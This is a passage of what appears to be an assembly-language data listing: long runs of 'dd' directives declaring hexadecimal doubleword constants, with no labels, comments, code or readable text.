7E738818h, 8759D438h, 7734F081h, 1318A2C5h dd 7800B874h, 76AEE0D4h, 0E8C3F2B4h, 191D3174h, 98DA1818h dd 0F40891A0h, 18E07888h, 0B04CEC74h, 0E0CD4F50h, 53E180A4h dd 0D9115C4Fh, 11B3C752h, 50EC789Ch, 632798ACh, 4959489Fh dd 58B16837h, 6C3C5225h, 53068597h, 52C891DBh, 0A1B2A8A8h dd 12CD4CA4h, 0F8E30B0Ch, 94E0CAB5h, 2F215CB0h, 934931C4h dd 54D08669h, 28483624h, 52A4375Eh, 0C9B29889h, 46334CB0h dd 72B448C7h, 501918A8h, 69571194h, 0AE598094h, 0C6CC13B8h dd 9147D348h, 0B4489762h, 0C140235h, 2AD89808h, 0BB300959h dd 3C00E47Bh, 754DC483h, 0F6E048h, 96A07E35h, 93DFF7h dd 0AD396B65h, 0D42F83DCh, 0C1C2AF00h, 0F2ABF10Fh, 625E736Fh dd 787538D8h, 0D04F081Eh, 52E2D22Eh, 77B502DFh, 5F71389Eh dd 0B210C246h, 70F51111h, 99184EB2h, 125E006Dh, 554D9B5Ch dd 0B5E8AD43h, 0B8187133h, 1D091F85h, 39150ABDh, 9810DB30h dd 619884FFh, 6E391572h, 503BB04Eh, 0CBCEE95h, 0C086354Dh dd 0B0AFC908h, 0D4DEB8B1h, 0CF61D21Ch, 250A3558h, 28C79847h dd 10FC0C4Bh, 17463795h, 0B570CC08h, 32C35520h, 90086AABh dd 14209C0Fh, 84C5C015h, 0E274D02Bh, 4898C067h, 0A300BE32h dd 7ED5242Ah, 78CDE428h, 0C6EE4C4h, 43642988h, 22312408h dd 0FB0B109Eh, 7C6E84F0h, 17040012h, 7F4672D5h, 0BA0041C8h dd 0D2B8E2D8h, 0B05EEh, 0CD446122h, 3AA238FAh, 67D1E13Ah dd 2967F360h, 18088546h, 58DEAC64h, 90DFE87Fh, 0EB78CF98h dd 60A4F82Dh, 538F09D6h, 62446428h, 1F7F782Eh, 3605204h dd 2ABFEF44h, 40E09831h, 64E0C2A7h, 0A4D8C63Fh, 44180839h dd 1228C5B0h, 0AB08CDC3h, 496FF0E8h, 0CBA4280Eh, 53848648h dd 0F2241F10h, 10C40C4Bh, 0EF40A408h, 84D74004h, 60F09D31h dd 0D88AF2A5h, 0C90F68Eh, 3E58F835h, 43C0F366h, 66247118h dd 859F8F9h, 2817E431h, 98CC384h, 2340FA95h, 0F920F767h dd 9391948h, 0D91988BAh, 0D04E14FCh, 8EEA418h, 0FD664CC4h dd 33082740h, 0C951A564h, 0D87B0920h, 15840890h, 8C2448C4h dd 10124406h, 9CE6432h dd 89FC8F96h, 7B00244Ch, 0CED0C408h, 8ED3FE09h, 38454124h dd 0E8F1E40Ah, 5A36143Ah, 0E8D620DCh, 0BCC8A914h, 83369052h dd 188BC498h, 10B124F0h, 20C49DE4h, 840644A4h, 5366095Dh dd 50295231h, 6264A8C0h, 542408BBh, 0CB8A407h, 0BD598A04h dd 0CE44E8C6h, 0A4A74011h, 509E0420h, 624494AFh, 1D84F87Eh dd 93887C4Dh, 0EA1E223h, 5EE67848h, 0B7332490h, 3F68F85Dh dd 0F86E9809h, 66604632h, 0D849B8EEh, 9A03324h, 62488646h dd 104488B2h, 7C7FC0B6h, 4F011B8Eh, 1FBDD830h, 0F3499CC4h dd 887CE2E0h, 44A421E7h, 7C0491A0h, 0A9802050h, 19709148h dd 7F78F53Bh, 0B3040889h, 0D3880495h, 1D3B44A8h, 0E0D137CCh dd 3C594C5Dh, 5628A524h, 24AA2C29h, 8711C189h, 0AF8C45Ch dd 0DB246904h, 227B9011h, 1E3321C4h, 0F05CEE8Dh, 670869CAh dd 50E4E824h, 65FEFCF4h, 1A65F0F3h, 8BEB8C4h, 504878B5h dd 5870802h, 405988BEh, 0CB8405A4h, 9B206815h, 0DF59D319h dd 0E016C131h, 0C06F3885h, 162256FBh, 813A159Fh, 50F0D8B1h dd 49313A38h, 0B7E13013h, 0E4C33427h, 61EE8C48h, 88A756FAh dd 0A51E0EE0h, 0E17640B9h, 0E87040D0h, 708B63E5h, 8188A1Bh dd 0C011CE56h, 0DE3D724Fh, 0F8042B19h, 9601DB4h, 61D28C10h dd 569A002Dh, 52BCB064h, 163FC713h, 0B5B400C6h, 8B41036Ch dd 2C1F3123h, 11B35028h, 7911FF0Bh, 23151157h, 145C5194h dd 0C3E55308h, 6782CD10h, 0E8022EA9h, 0CBAD00B5h, 427D1A0Ah dd 0BD1B4A00h, 17A1760Fh, 697E1C23h, 80AB00EFh, 4FA974Bh dd 0FC6F8F00h, 0CDD33A73h, 5BE10030h, 9CF348Ch, 11000B29h dd 0FA5084CEh, 54F7A4h, 1BA932F0h, 0A2B213A0h, 7D3EE000h dd 8B7FB697h, 0EAEE00DFh, 8C262D3Bh, 670030C1h, 0B263090Ch dd 60BEE950h, 5AB51066h, 230419A2h, 0C68F71BCh, 0AC00DC84h dd 825A9EEh, 0CE7903A7h, 0CBFAF7D5h, 0B1BE90BFh, 591D5717h dd 0AA40392Ah, 61EEB24Dh, 0E17A008Fh, 0D74F7711h, 0EE81FEAh dd 0D3483B70h, 0C14A01E9h, 0C7FE1D51h, 0F00CE051h, 0E4EBC0h dd 456A698Bh, 6183F4EEh, 1433D403h, 0D04C535Eh, 23BC9Ch dd 7B8DFA6Fh, 1C6BC73Ah, 99F46D00h, 7F119453h, 4CD8006Eh dd 0CA690FB6h, 9705CD2Dh, 0FD0477D4h, 11F5B000h, 0BE2919h dd 0C0C710A1h, 0E8886801h, 0A9734C04h, 2887836Ah, 9FC403E0h dd 80695C0Ah, 5E136703h, 6A906EC1h, 53FA77A3h, 86208100h dd 0D9A5FBC9h, 74B9004Ch, 0DAD78311h, 0F07A9C3h, 5856573Bh dd 9A5E85E0h, 8FF23C87h, 3E8BC50h, 2FAC1D68h, 85D87591h dd 0FF802B21h, 0EA3A0089h, 0DADB508Ch, 0AD9015DFh, 0C703C4B0h dd 614C6CCAh, 5E4F0D3h, 40B10071h, 8C4BDF2Eh, 0EE1C5680h dd 0D1805981h, 9606664Fh, 53600B9h, 7074ADC7h, 6000B386h dd 494BFD55h, 0CDAC63h, 0DD1AB4B0h, 3B9BDBD9h, 0C3A05107h dd 0C720ADC2h, 2623B65Ch, 6096C86h, 0F2AF633Dh, 0BE0F6B78h dd 0AE564D70h, 5E80DC15h, 2231376Ah, 626B0769h, 0E743EED8h dd 70E2B0C4h, 0DD1F8C95h, 6141B20Dh, 0FF684FFh, 0E0B38630h dd 0E67900F2h, 0E351C68Eh, 700AD26h, 5FD4116Fh, 7A604AE1h dd 0FCF3BD7h, 0E08FB600h, 0C6A8E70Bh, 0D5BE1C14h, 0BF4007A0h dd 0BB80FB53h, 46E2BD7h, 0AA92C706h, 5FC89077h, 0AF78EB30h dd 87BF800h, 0ADB2098Dh, 0CCD90037h, 16DC1275h, 5D00F697h dd 0F5242A0h, 24C0FA51h, 80BCB7A2h, 403D1D7Fh, 5338A39Dh dd 7AD8929Ch, 4A305803h, 0C137B88Dh, 3F681247h, 0B54C0235h dd 0E7C16E5Fh, 92D143CDh, 24FAA9D9h, 0FF0998C4h, 20C9378Dh dd 962C84D4h, 0EF410059h, 0FAA118B0h, 0EAFCE6D3h, 0D154001h dd 1EF2EC50h, 34A420h, 173A0376h, 0C99608A3h, 14D27D00h dd 297D025h, 7B520004h, 0F8D98291h, 5300B659h, 99A59076h dd 1F286883h, 15AF093h, 0F29F1873h, 0CBE0D7DEh, 130184A0h dd 4B28BC0Dh, 99E4582Fh, 721C091Eh, 61006B18h, 454CD762h dd 0A8096F00h, 0C9320627h, 780D7814h, 0CCC0756h, 0D09A4DECh dd 0AC923550h, 57427200h, 98B0D117h, 0D075A3h, 63903343h dd 0DC699135h, 0B4143100h, 75A12227h, 0FF8A048Ch, 0D0458330h dd 67E9D018h, 0DCB01D00h, 4FECE660h, 0B99107A3h, 0D05BAA4Ch dd 2F26A01Ch, 8AE52A00h, 981F6C55h, 43933003h, 0CAC85C98h dd 0A800A6EEh, 0ED2839E2h, 93D1190h, 8DAF98DFh, 0E672C400h dd 9CA0B89Dh, 6A007C71h, 0AE9B0CC9h, 1EB3F04h, 0BDFAABA1h dd 8023B1CFh, 19498029h, 124F5D98h, 19F2D8Dh, 0ACA5AAACh dd 270E471h, 0BEEA4Ch, 0DC0CDE2Fh, 0D47C4Fh, 3A199F6Eh dd 8B609765h, 46E4C600h, 4D77E9BEh, 517912B5h, 7BF008Ah dd 0BB8EB70h, 6A071890h, 0C818717Dh, 9421E910h, 0A49009Dh dd 0FF3E4F3Ch, 88ECE568h, 0B8DFD00h, 0D1B240DEh, 0EC4600BBh dd 0A244D08Fh, 73006B0Ch, 0F3061F91h, 786F38B0h, 0B99803C2h dd 0F4316745h, 0E05408C9h, 0E11DF1C9h, 0E8004F39h, 47DF9B43h dd 962A0FFEh, 0B9A3CC5Bh, 32BA2FC0h, 0E8ACF460h, 0BF4C3600h dd 91E6634h, 4AD0089h, 82060EDAh, 0A107797Eh, 3EC7AE40h dd 0FFDC2630h, 25EE0098h, 0B1709AD6h, 6A03BAE0h, 20DF2B1Dh dd 10AF9873h, 19D609EEh, 4481ED5Ah, 0E6301BB5h, 0C740B8A1h dd 9AD5408Eh, 28004702h, 0DCF0BB2Ch, 3DE26829h, 14009408h dd 7A316F24h, 331EBF93h, 0A6C0F0D9h, 9EDDD8B5h, 58E4074Dh dd 7561C0ADh, 31D301A1h, 24DFE801h, 8A00D994h, 10A0C28Eh dd 0E6C0550h, 0C9DDFADAh, 0CFDC1F81h, 0A20F6088h, 2C005FFEh dd 333DEDA9h, 332E0h, 0E695FBECh, 8D3CE4E5h, 65BD8A05h dd 70D01DDAh, 0E305ACh, 0BE8878D1h, 7B3D895h, 7A1F7C0Eh dd 0A0F5A924h, 40AE4B8Ch, 80D03A0Bh, 189A1600h, 0C0246331h dd 0FC14E09Ah, 1CA8EAEh, 0E9118FF7h, 0F4616458h, 0FADB6D30h dd 64D64D72h, 374C2A01h, 30DA0F6Fh, 8500A560h, 39F5F99Dh dd 511227h, 0C7E443F3h, 5B4D7935h, 5A03D57Dh, 62132D4Fh dd 64B8C085h, 0F6542CDEh, 603B00CBh, 0F0A3282Bh, 4B10D960h dd 7B855F9Ah, 332501C0h, 7AD268D4h, 107830DCh, 0BFF75801h dd 11851CC7h, 0C4602C65h, 4CC904BDh, 814261A3h, 70F8C4DCh dd 0ED0F9134h, 602A419Dh, 0FCF04C50h, 9390084h, 97BD6ABFh dd 9F180FE8h, 5230FA10h, 0E255073Ah, 47189501h, 7651E0A5h dd 363C1F26h, 4DBC022Bh, 4063DAFFh, 509C483h, 3255ED78h dd 91F84056h, 28E0A750h, 0DCFA3F00h, 4421C3D1h, 7B21C765h dd 0B280D0C4h, 6E00994Eh, 5F855B53h, 0FFE9BA26h, 0C06A20h dd 0FA1E8AF7h, 0A0298BE1h, 87588C00h, 7BCF9BBFh, 4BF8ADh dd 11A4C224h, 1D90A06h, 0DC505200h, 23AB6A27h, 40A500C5h dd 0C05A08EBh, 0C650513Dh, 0EE00EFDCh, 67955990h, 28C4BC81h dd 3B02E2Bh, 0FD2643A9h, 41B0289Ch, 0E5121B36h, 0CA003005h dd 7602CE27h, 426D00A4h, 0C95D7026h, 9601C443h, 73E5DEEFh dd 0A730958Dh, 0D0AC0E66h, 21441615h, 0ABBCD371h, 88980C80h dd 112EA805h, 0EF804D22h, 486D5D05h, 22C8F1Eh, 0F360031h dd 91577D17h, 0E0293907h, 78134510h, 6EA9E007h, 0B0D803DFh dd 8F320AC0h, 803976D9h, 0A808F10Eh, 2A57E9h, 6DDD6B4Fh dd 0BC10B2DAh, 0EA578B7h, 13A201CAh, 0D4B99B00h, 0AD0074E6h dd 0DDF00BECh, 1D30C8Fh, 0F264C2B2h, 0C03E609Bh, 0B80066DEh dd 0BC5A0FDh, 1E08F77Eh dd 80598290h, 9221CF75h, 6C016899h, 1B97D6DDh, 74703676h dd 9BD9394Bh, 5AED7A8Eh, 0A8D1FD00h, 710035F1h, 0B73387EEh dd 60D74FE9h, 0E3FB19DFh, 0DB00CB98h, 0E193C20Eh, 1CD666D0h dd 86B08Dh, 92A5FB2Ch, 0F7001D42h, 0F51E56Fh, 39D4C6h dd 5B370860h, 88758FFAh, 15CC9A00h, 5536C3FCh, 0B4EB05AEh dd 0EAB8D3E9h, 3332C07h, 0C57E27D0h, 0ABAE01A2h, 5B723791h dd 8F67E0BBh, 75043DF8h, 137B0176h, 0F0600DC0h, 164D0098h dd 1278EB86h, 0DE0063CEh, 3C15279h, 60723324h, 0AAAE18A6h dd 4900C464h, 0B4DDE335h, 26706F9Dh, 3B1916h, 0C29C1846h dd 0F7A1B2Ch, 29D48C02h, 60B5F4AEh, 0CEF03EDh, 8D3E9691h dd 640F6588h, 0A012AF1Bh, 0ED48DF54h, 0EBA7B2Ah, 0F1443D10h dd 133EB0E0h, 5F03AE86h, 0E2378E8h, 0FFFCD0C6h, 0DA5D184Dh dd 46AE90F1h, 0A312BFA0h, 0D6EBC90Bh, 4B98073Bh, 0E1835BF0h dd 0EA3A008Eh, 0FA977898h, 0F100759Ch, 0A9142737h, 7F927E5Eh dd 0E5A43BFCh, 0EEF42480h, 2016825Ch, 3F00287Ah, 0ED996F6Ah dd 0ED809EBh, 0FDC65238h, 51000EEFh, 0CA1AA8DBh, 2CAA8F00h dd 0A4E04622h, 0F050024h, 707E32C0h, 7C7402D8h, 1DA21005h dd 0B6C016B2h, 74E4191Ah, 54930098h, 6641BF57h, 0AF72DC10h dd 124A900h, 19269630h, 362E16EBh, 0A01C0780h, 0F6CB03Ah dd 76002BABh, 60D27A1Eh, 3279BF3h, 6BEC2AAAh, 74E0DFB6h dd 0BC008516h, 0A3F3E8C2h, 3CF6DDh, 0E75B5F2Ch, 0E912B2F5h dd 80F6D20h, 0AAA824EDh, 80822F89h, 225095C6h, 53F90F4Fh dd 949E48C5h, 7907A074h, 0F704F1AEh, 0C77AF46Fh, 0E333A38Ch dd 1100DEF3h, 0E811E05Ch, 0FE5B38h, 9D34718Bh, 264B57E6h dd 55EA6D01h, 0E748734Ch, 2C8C64h, 2F273E97h, 293806E9h dd 0DD669216h, 0BD604Eh, 8DB20877h, 0F51D0B78h, 0CAF0D09h dd 594EC320h, 0E9009A30h, 83CC448h, 0C09E624Bh, 319FBD20h dd 9600DDD1h, 0DCCCBFDEh, 0EC56B8h, 361C1FA0h, 0A7AE040Eh dd 4F6CEB06h, 13842CDh, 0C7359288h, 0C71E58B4h, 209F0E98h dd 2B210760h, 31BF7E01h, 0CD10A8A6h, 0EBEA202Eh, 9F04F0Ch dd 3BA0196Eh, 0FBA5B650h, 408CF007h, 0FA07039Ch, 22D23524h dd 42B8E300h, 2BB94A9h, 0B05D3AAFh, 0B8824B06h, 2DC078EAh dd 0C50081FAh, 62176E29h, 3249BDh, 2ECEF953h, 9D0920D6h dd 1F470B8h, 98C4DB02h, 0E015E3C0h, 804B9168h, 641F14AFh dd 458290ABh, 0A5336173h, 4407F8C0h, 0E3032B4h, 19B95C4h dd 42FDD881h, 0C8CFCA85h, 0D27C8C25h, 8BE4BC0Eh, 706A017h dd 0B65CFEh, 756C1ADCh, 5055BBE3h, 33EAD103h, 0FDA2E26h dd 0AB42E220h, 9C143BA0h, 277F3AA2h, 962C600h, 0F05E1312h dd 257D52h, 3F1DD5DDh, 0F69F9B7Dh, 0A163D61Eh, 0AEFBF780h dd 39987744h, 60FCB9ADh, 4879182Ah, 8A3B6F9Fh, 0DC73A6E0h dd 6340E51Eh, 0CF5CFB22h, 378403ABh, 1053F0C0h, 0E782D590h dd 0A0128D05h, 0EC80D92Fh, 0ED73C3Ah, 59DA214Ch, 0A1BC9E41h dd 0D424F810h, 939BBB00h, 9CB1734Dh, 489CA085h, 309E04h dd 0A5169743h, 0CF00ACA6h, 2317C9FDh, 777090Ch, 47E6D649h dd 0C059E8h, 0D00FDCBh, 97D814EEh, 7F2A12ACh, 0D6E00073h dd 8F701FD1h, 2C50CD28h, 689A34D0h, 0A56B8D1Fh, 0BFAFBD80h dd 51848FBh, 49A6D650h, 0CCDD80C5h, 0A173B301h, 42442704h dd 9490DDD8h, 79817C5Dh, 0A4960076h, 73A7CE8Bh, 0ED120EBBh dd 0B4007EFEh, 511CF95Ah, 1D440F34h, 312E3A77h, 0B760FAE0h dd 0B526B632h, 230F95C8h, 0BB6160D4h, 1FEEA54Ah, 0CCAA76E3h dd 894CE5C1h, 274D7A00h, 36D8F88Ch, 99BD098Fh, 0FD800E9Fh dd 351F05A8h, 8BB9E200h, 0C6117459h, 143A0091h, 94CC2575h dd 0A3139E2Eh, 0D0005AA0h, 8C2B5BEDh, 48B5B08Ah, 35A7781h dd 0E83BDD18h, 4ACCC0C8h, 784B6E0Fh, 0FD77C055h, 3852DEh dd 56C6050Fh, 57C9E242h, 91CCCB00h, 5BDBD8D0h, 1DAB8D4h dd 89F94AA0h, 30BE74CDh, 7B00C18Ch, 0EA8D8E2Ch, 1FF0DC99h dd 82E07A59h, 0CD7423F6h, 0E74E3C40h, 3E2DF3Bh, 0DC68493Ch dd 0A8EEC088h, 8BF83C6Dh, 32045F00h, 4FBED35Ch, 0FADA40C0h dd 0C55262h, 73510849h, 2EF63B70h, 17837E00h, 481DD360h dd 342F0092h, 0D18BE1B3h, 0F2034068h, 98FDA8CCh, 0DF39A1ECh dd 410B9C6Ch, 86003A8Ah, 0BF1367E9h, 0ECE74D00h, 0AF8E5FAh dd 0B6063F5Ah, 1E3A9E03h, 0D080C913h, 46003597h, 6132E527h dd 93BB9Bh, 0BAEFEB2Bh, 81EC4BFDh, 2F009C70h, 840DEE4Ah dd 763795F0h, 0D88A00C4h, 971AEA5Bh, 0B4006636h, 0AC994B48h dd 0B6AA60h, 5E75962Bh, 77F5270Ah, 538A9717h, 1BA4BE00h dd 56A882h, 5704E28Eh, 31E53A67h, 0AAF42A00h, 0E4BB6CB9h dd 199C00AFh, 559D9647h, 7E038B57h, 0D713E1A7h, 64DFE09Bh dd 0B0690287h, 342806E3h, 7F3C00FDh, 0F47115C5h, 0D14D000Dh dd 91FD2A1Bh, 39072D0Bh, 4266C82Ch, 0C8715193h, 95B759h dd 0BF2592F5h, 0C42A4B5Eh, 4F2F8C00h, 0DC010346h, 0A2C80058h dd 0EE11179Dh, 7500ECBDh, 4F8752C2h, 7DF53724h, 7821EACCh dd 0A2FC84h, 0C43480CBh, 0D3A155B9h, 3DE12B07h, 0D5506148h dd 7879A3h, 565FC27Dh, 37863C4Bh, 0EA4AFD00h, 48184725h dd 5170395Ah, 8C667600h, 0B3EE809Ch, 1EAC3E5Fh, 0E0902Eh dd 0A657634Ah, 4800ED2Fh, 539D4F52h, 2B8DADh, 8AD71060h dd 28F78941h, 85374000h, 76380CD1h, 24190052h, 0B50B580Dh dd 0E500F8A2h, 0D38E5EE9h, 8DF545h, 2B19F034h, 0C05385B7h dd 124E448h, 0D3224DD5h, 0C8CC4526h, 0D73A03D8h, 8C70195Ch dd 77924B0h, 752E5200h, 0C4A87733h, 0CFD00F0h, 65F968A1h dd 3E00323Bh, 0FE0B6ED6h, 2F004FCh, 98175DE1h, 4075F125h dd 74CA0F0h, 5F40B309h, 0E84EA086h, 0D80EEC1Fh, 5F22C06Eh dd 0DD921480h, 0F0F554h, 0F62F9C05h, 0D5B535Dh, 11004473h dd 28BF4A61h, 75E881Bh, 0B925602Ah, 0A5208CE2h, 5F4D621Dh dd 0C000F51Eh, 0B260FCE8h, 0CCF93D51h, 24F8831Fh, 783E9Bh dd 3952C9EDh, 9A912920h, 1CB26700h, 0B7FEDE4Ah, 1D201C4h dd 811569E6h, 0ADBC4063h, 68DDA388h, 8CBEFAC0h, 0D2B3ECDFh dd 0DBA40150h, 8A422878h, 4CFADE81h, 0BE1A063Eh, 6388D79h dd 5D2660D5h, 5B0128A1h, 0DFE93728h, 0D2F4F9A0h, 0BD330049h dd 76EF48C2h, 898BB97h, 0DC023Bh, 0A3AFAE9Ch, 3BC6EAC5h dd 1806750h, 4D107DBEh, 87268BFDh, 0DF0056D9h, 0D0D1B04Eh dd 2F63E15h, 0BFFF0379h, 7E06BE9Bh, 0EC5334D9h, 30F605AFh dd 0E0F42200h, 6DC30BEEh, 0D8E807D3h, 0D0C7F6CDh, 0AAA4F02Fh dd 0AC09E500h, 466614A2h, 71A300E9h, 0EB05EEC2h, 29177A23h dd 6900FC36h, 160FA7A5h, 4C350044h, 2B60612Dh, 3B0324CBh dd 7B0EB76Dh, 0BC78F8A2h, 0D1A300DDh, 5B2925ABh, 0CE0B3DD3h dd 40194E54h, 2A58EDF6h, 2AC344Ch, 4DEAE2FEh, 47C0D5A6h dd 350109CCh, 89076354h, 28835AF4h, 40046A43h, 3EDA67F8h dd 0B730503h, 0AF72D91Bh, 88D0E347h, 805BCA82h, 31C38B34h dd 7C3387B1h, 204A0008h, 25CD95AAh, 0A401CEF7h, 9F8147F9h dd 0E8CC53EAh, 112D000Ah, 0B2FCF45Dh, 667F0FBAh, 0B07DE100h dd 3638933Bh, 297560h, 0DFC6D74Eh, 52DACABEh, 940011E2h dd 0FB492C48h, 0C3271230h, 97BD6E48h, 65B308E0h, 75008F72h dd 26594B60h, 1933D3BCh dd 9061C442h, 5471F004h, 380EB674h, 830A93DDh, 0C01CC0AAh dd 42FFD7Ah, 0C3EE63FCh, 3C6BC087h, 39001AC2h, 0E1AD51C9h dd 19C7835h, 0C32F019Dh, 0FC470682h, 2C064405h, 8CC26C6Eh dd 0D40F0039h, 24EC9FA9h, 730778C0h, 0BD57BE5Dh, 0FDB5E650h dd 92A3003Eh, 3585A43Ch, 5A00993Ah, 6CF59F0Bh, 185379B8h dd 51892083h, 817E8E13h, 6B3E4E00h, 0BF85A2A6h, 0F494003Ah dd 0A7742821h, 8300CD6Eh, 0B8ED24F1h, 9B44C88h, 0A4C3C0AEh dd 0C66F4F87h, 0E80010DEh, 547D5EA3h, 0FAE1229Fh, 71BA001Fh dd 0E98A0BBBh, 78DFBC86h, 0AD3CABC7h, 0EFC0A677h, 0DFB185h dd 0C2AFD7C7h, 5376697Bh, 38BCA0CCh, 0FB73013Bh, 0A03A340Dh dd 0ACAAC871h, 6E00317Bh, 2EC0F9D7h, 7BFD69C7h, 0CB4338F2h dd 0E901F03Fh, 73CF5B9h, 3F788398h, 7CEAD28Ch, 0B14C3C58h dd 8E451780h, 89788318h, 0F24504ADh, 0EB041C10h, 419F97B0h dd 0E7A8DD42h, 8926CF07h, 194C309Ch, 0EA633096h, 5E1DA221h dd 602919C0h, 3CF0ED18h, 740095F8h, 0FDD986E6h, 91139BE2h dd 0AA005941h, 0E7537809h, 38E960C9h, 87A46818h, 0FEEA953Ah dd 0FAEC0D00h, 0EEB02691h, 12DD0047h, 0EA9449B2h, 0CD0E6397h dd 9440D72Dh, 89EB020h, 991886FBh, 74B1A34Fh, 8A40404Eh dd 34486F0Bh, 0E9B800E2h, 387744h, 0C160BAF5h, 0A91B5E80h dd 2311410Eh, 0EC87C089h, 39AD5FFBh, 7D8218h, 6AFD3D0Eh dd 9B3586EAh, 13882750h, 4F9610F9h, 0F779C094h, 9CC8EB23h dd 0FA998B0Eh, 0CC0DEFCh, 3D26F249h, 7AD30053h, 891E0A5Eh dd 963FFC99h, 9E0198B0h, 3EAE3C40h, 37804542h, 9E30A1Dh dd 10006584h, 95B07E3Fh, 0C0DC9BB4h, 0C4455078h, 0DA00262Fh dd 0AD29A198h, 16BFF3h, 51D6A2A3h, 3AB76A0Eh, 5510AB0Ah dd 105D89Ch, 0FC40E1F7h, 8459B2D6h, 2E99006Ah, 3B569026h dd 0B03A60E4h, 0EBA594B9h, 790203D3h, 9B11B4Eh, 8483E439h dd 94B42023h, 2719911Dh, 0A4F55BC0h, 3840CA15h, 5C8E6757h dd 0D0E0F9B6h, 0B79F2D31h, 4350AFFCh, 0C20AF688h, 0A0EB462Ah dd 7EB96980h, 6275FBh, 0D427368Ch, 0B1E52EA2h, 99681F01h dd 0F7EBC724h, 40FF8DDCh, 8F45E7E1h, 20CA909Dh, 0A325C700h dd 532A3E83h, 73FA0056h, 5DB8D44Ch, 0D301B3C5h, 86DC13F1h dd 0FDCD44CAh, 241114E0h, 364F296h, 0EE22E421h, 0F71C590Eh dd 0FCC8E0A6h, 252795Ch, 99108F63h, 8442F932h, 445E4004h dd 0A7C2553Fh, 0B0C0B056h, 44CB0004h, 0F021A6E9h, 0E0105BCh dd 0DB7734E8h, 4980B511h, 0D37F079Fh, 0D9786B2Bh, 0E1352118h dd 0A8FEF898h, 7252C4h, 78C9CD24h, 5B8273C8h, 57DD23Bh dd 0E3E29CE6h, 68DF80BBh, 981D5FE9h, 617074EAh, 4987E8h dd 0D42A1076h, 0D604BF6Ch, 54B4E13Fh, 8E00C3E8h, 0E4399BAEh dd 1DD484Bh, 59860FC4h, 0D523CB25h, 200D70AFh, 15106613h dd 62BF0840h, 987B7591h, 0BBE1020Ah, 97D46801h, 0E346DC41h dd 0EFF0FE8h, 8BEC7009h, 0BFD42177h, 0D980E2FCh, 95E35818h dd 0F309AAEFh, 2D9C0Bh, 454E313Eh, 29E060FBh, 24A08610h dd 223A21F2h, 0BF0AF21Bh, 98930EA9h, 171DE468h, 0FBEC22h dd 2DE354DAh, 0D510690Eh, 0ACA75028h, 3B444h, 2EC10A75h dd 0DC725139h, 99546C7Eh, 0B100928Ch, 0F3E0246Ah, 4E5590Eh dd 87619AAh, 9B20807Fh, 9104900Ah, 9E1C6A96h, 312E8007h dd 0CC420826h, 1531A339h, 0AE96519Ch, 377F1441h, 5F595C4h dd 9CE763E9h, 0B7904649h, 0A1163198h, 0EF0FB646h, 1559C1F2h dd 0DDE8E1D4h, 0E4C1C3E9h, 0F101EA19h, 45D763BFh, 0D04180AEh dd 14528246h, 34403210h, 29C46106h, 0BD5DE019h, 0B664A1E0h dd 79005B85h, 92BC521Ch, 0C1EDF28Ch, 0D37BBF29h, 170BC473h dd 98E18226h, 45CE118Eh, 0C801E9D6h, 9410E764h, 2B20B816h dd 0B49093h, 0F0131E37h, 567CFC5h, 1F779C7h, 9B18E465h dd 1229BC39h, 2EA089Ah, 0C7C2A22Ch, 15219C48h, 0C8E949h dd 0CD9AE24Eh, 20603F3h, 442C8B98h, 2FD03524h, 0C078FD48h dd 4A2A3F12h, 2E1A0014h, 0FC4CD38Ch, 28001F85h, 0E101130Ah dd 911B0F16h, 9F8480A8h, 1458E4B0h, 0F1FD8230h, 6213A33Dh dd 7EEF9102h, 0E76DF1E0h, 3958527Eh, 5A8908A0h, 58961FF9h dd 4874D9BDh, 0FCE5F8A8h, 56C95F00h, 750FE3EDh, 7E1612FAh dd 0D0A86089h, 48FBA746h, 0F9C7BED4h, 0E780D2D8h, 0F6EF4Ah dd 803998Ah, 4D8F5029h, 1101F37Bh, 9889B1A5h, 1023D42Ch dd 0DC96B400h, 8DA03519h, 8ABEEB00h, 9A38E854h, 0A930004Eh dd 0AC9E6C46h, 1B00F671h, 1D6E8915h, 0FD35135h, 1E733297h dd 0EFE22603h, 0C739487Ch, 8E6A00ACh, 475E136Dh, 0A41B007Bh dd 0AE9E90ABh, 0BF009DFBh, 31BBF792h, 3E783337h, 5F80894Dh dd 0D7FF9468h, 0E701C6BAh, 0E2CD3B15h, 70823712h, 0A667AA19h dd 0EAB09280h, 0E0321D72h, 423478D2h, 0FC064022h, 0AC770066h dd 7E848823h, 0B707100Dh, 0A66FE59Fh, 0BF2D39B0h, 3550C24Dh dd 68806486h, 8CA73C72h, 36E88D08h, 9B0EBE48h, 0E7A03E58h dd 1632B4E9h, 31CD620Fh, 0EA360541h, 500E5043h, 42E09EA3h dd 0CBE67ABBh, 0EC42D50Eh, 48595893h, 38346088h, 0ED0A9CE5h dd 32872E00h, 4A1E7003h, 3198C320h, 89002A48h, 3B4FF58Fh dd 9A4616h, 0D865D00Ah, 85A2BBCBh, 291E6330h, 9724C0h dd 0D21B6987h, 853D5A65h, 155FE405h, 6C0047E7h, 4FD108C1h dd 8E7000EAh, 6C164AFDh, 0A770E5ECh, 8B1D2100h, 3B191FA1h dd 0ACAB0031h, 10867C78h, 0C932A26h, 81C41E14h, 0D6D1525Fh dd 873C0h, 0E818A850h, 9563176Ch, 0EB0CE518h, 2A2D3381h dd 28C41262h, 2C0BE03h, 0F00B32A0h, 7420F6EBh, 4FD0DDh dd 990229C9h, 8D79574Dh, 40B49F00h, 33C53722h, 484690A7h dd 0EAC52CBEh, 0DCC2005h, 84A66611h, 27096BF0h, 8FB202A4h dd 0EC29981Ah, 822490Ah, 28801F2Bh, 792A4414h, 0A8051B03h dd 50EBE5h, 58859A38h, 610B66BAh, 205FC100h, 84CA9007h dd 18734937h, 47113380h, 0DD3FE62Eh, 0E2D90006h, 91660B4Ah dd 0E4E005DBh, 404EBB2Ch, 9EA5388Ch, 0B4A08CFFh, 760614A7h dd 2305E4F3h, 733328A9h, 0CC4D01DCh, 1EA3FFDh, 1ED18C2Dh dd 6749DDh, 0B814DC7h, 0DEB4FF60h, 7D1AF35Ch, 3887D000h dd 8B1C832Ah, 0BCEF4825h, 0C054E83Fh, 17E7844h, 0BAE72B13h dd 0E0295EC5h, 5CA0DA39h, 8402FA2Eh, 8C1E79E4h, 29CC00D2h dd 8B007DD4h, 7E61A9C4h, 14A06ACEh, 0B4731F01h, 6004ED24h dd 10C49454h, 0A4720E15h, 31037B78h, 5763A89Bh, 0EB1588D6h dd 9D39C0E4h, 0DAE9D812h, 0F9E6B509h, 0C4E022AEh, 1FB4853Ah dd 80E85822h, 0E32DD71Ch, 0A0ED3C46h, 78320772h, 0A3E697B6h dd 29A605E5h, 58129EF0h, 2C452B55h, 0E04A2154h, 0D840FCFBh dd 9057D6h, 978D23Fh, 